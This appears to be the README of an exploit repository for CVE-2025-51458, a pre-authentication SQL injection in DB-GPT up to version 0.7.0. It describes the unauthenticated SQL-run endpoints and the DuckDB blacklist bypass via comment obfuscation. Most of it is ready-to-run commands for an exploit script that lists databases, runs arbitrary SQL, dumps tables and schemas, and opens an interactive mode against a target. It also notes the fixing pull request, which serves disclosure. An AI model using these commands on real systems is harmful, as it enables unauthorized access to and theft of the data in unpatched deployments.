CVE-2025-51458-exp

Pre-Auth SQL Injection in DB-GPT <= 0.7.0

Overview

The /api/v1/editor/sql/run and /api/v1/editor/chart/run endpoints accept arbitrary SQL without authentication. The sanitize_sql blacklist only covers DuckDB; MySQL, PostgreSQL, and SQLite connections receive raw user input with no filtering. The DuckDB blacklist itself can be bypassed via comment obfuscation (SEL/**/ECT).

This is a bypass of CVE-2024-10835 and CVE-2024-10901.

• CVSS: 6.5 (Medium)
• Type: CWE-89 (SQL Injection)
• Auth: None required (Pre-Auth)
• Affected: DB-GPT <= 0.7.0
• Fixed: PR #2650

Usage

# List databases
python3 exp.py http://target:5670 --list-dbs

# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"

# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables

# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db

# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"

# Interactive mode
python3 exp.py http://target:5670 <db_name>